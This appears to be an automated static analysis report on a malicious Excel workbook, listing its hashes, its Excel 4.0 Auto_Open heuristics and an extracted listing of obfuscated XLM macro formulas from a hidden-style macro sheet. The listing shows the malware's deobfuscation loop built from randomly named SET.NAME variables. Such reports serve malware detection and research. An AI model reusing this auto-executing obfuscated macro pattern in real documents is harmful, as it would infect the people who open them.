Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d54fe7ff9a15f306…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:39:56 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: cc9e4c22dbf4ead64f0bce9d6a444e04 SHA-1: 1ff9c6d10ec5889322abfa8d7bee1cb395266303 SHA-256: d54fe7ff9a15f30640d8b7218e46202bf4d5574a65d562931e016d8cae430afe
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6895 bytes
SHA-256: 8083e8d7a52fc0944a74a6c7ffc530b05e38dd539c3df56952bf52e03f9337d3
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  dGUZFkYw
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G194 
' 0018     22 LABEL : Cell Value, String Constant - gGTXbDs len=0 
' 0018     27 LABEL : Cell Value, String Constant - GrRiXuqdSnhg len=0 
' 0018     20 LABEL : Cell Value, String Constant - GWFid len=0 
' 0018     20 LABEL : Cell Value, String Constant - jApnl len=0 
' 0018     24 LABEL : Cell Value, String Constant - juUXflVqu len=0 
' 0018     23 LABEL : Cell Value, String Constant - lngPMNFK len=0 
' 0018     27 LABEL : Cell Value, String Constant - mxCikWABnYzj len=0 
' 0018     26 LABEL : Cell Value, String Constant - NcNPzHQcpUY len=0 
' 0018     25 LABEL : Cell Value, String Constant - PLUtoFJRuZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - PsjRA len=0 
' 0018     21 LABEL : Cell Value, String Constant - ptmLmd len=0 
' 0018     22 LABEL : Cell Value, String Constant - rezcAgA len=0 
' 0018     23 LABEL : Cell Value, String Constant - RhBPwANm len=0 
' 0018     25 LABEL : Cell Value, String Constant - rxxUySydpl len=0 
' 0018     23 LABEL : Cell Value, String Constant - SGHgeEOE len=0 
' 0018     27 LABEL : Cell Value, String Constant - UDwjOKqYzDaK len=0 
' 0018     25 LABEL : Cell Value, String Constant - VVHzzrIsWP len=0 
' 0018     25 LABEL : Cell Value, String Constant - WJbHnrXnee len=0 
' 0018     27 LABEL : Cell Value, String Constant - xTXmvqYysWmm len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZzbWca len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  dGUZFkYw,P43,"",-971.00000000000000000000
'  dGUZFkYw,P44,"",-650.00000000000000000000
'  dGUZFkYw,P45,"",156.00000000000000000000
'  dGUZFkYw,P46,"",-246.00000000000000000000
'  dGUZFkYw,P47,"",-353.00000000000000000000
'  dGUZFkYw,P48,"",218.00000000000000000000
'  dGUZFkYw,G96,"SET.NAME("VVHzzrIsWP",0+VALUE("0"))",""
'  dGUZFkYw,G99,"SET.NAME("RhBPwANm",VVHzzrIsWP)",""
'  dGUZFkYw,G104,"SET.NAME("rezcAgA",VVHzzrIsWP)",""
'  dGUZFkYw,G108,"SET.NAME("jApnl",COUNTA(GrRiXuqdSnhg))",""
'  dGUZFkYw,G112,"SET.NAME("SGHgeEOE",COUNTA(WJbHnrXnee))",""
'  dGUZFkYw,G117,[],""
'  dGUZFkYw,G120,"SET.NAME("UDwjOKqYzDaK","")",""
'  dGUZFkYw,G125,"RhBPwANm",""
'  dGUZFkYw,G129,"SET.NAME("ptmLmd",HLOOKUP("*",GrRiXuqdSnhg,RhBPwANm,FALSE))",""
'  dGUZFkYw,G133,"PLUtoFJRuZ",""
'  dGUZFkYw,G138,"SET.NAME("gGTXbDs",VVHzzrIsWP)",""
'  dGUZFkYw,G142,[],""
'  dGUZFkYw,G144,"gGTXbDs",""
'  dGUZFkYw,G149,"rxxUySydpl",""
'  dGUZFkYw,G151,"xTXmvqYysWmm",""
'  dGUZFkYw,G155,"NcNPzHQcpUY",""
'  dGUZFkYw,G158,"SET.NAME("mxCikWABnYzj",VALUE(HLOOKUP("*",WJbHnrXnee,NcNPzHQcpUY,FALSE)))",""
'  dGUZFkYw,G162,"lngPMNFK",""
'  dGUZFkYw,G166,"UDwjOKqYzDaK",""
'  dGUZFkYw,G171,"rezcAgA",""
'  dGUZFkYw,G176,NEXT(),""
'  dGUZFkYw,G180,"GWFid",""
'  dGUZFkYw,G182,[],""
'  dGUZFkYw,G185,"juUXflVqu",""
'  dGUZFkYw,G187,NEXT(),""
'  dGUZFkYw,G192,RETURN(),""
'  dGUZFkYw,G224,"SET.NAME("ZzbWca",G96)",""
'  dGUZFkYw,G228,"GrRiXuqdSnhg",""
'  dGUZFkYw,G231,"SET.NAME("WJbHnrXnee",R44C15)",""
'  dGUZFkYw,G233,"SET.NAME("juUXflVqu",242)",""
'  dGUZFkYw,G237,"SET.NAME("PsjRA",7)",""
'  dGUZFkYw,G241,ZzbWca(),""
'  dGUZFkYw,G242,HALT(),""

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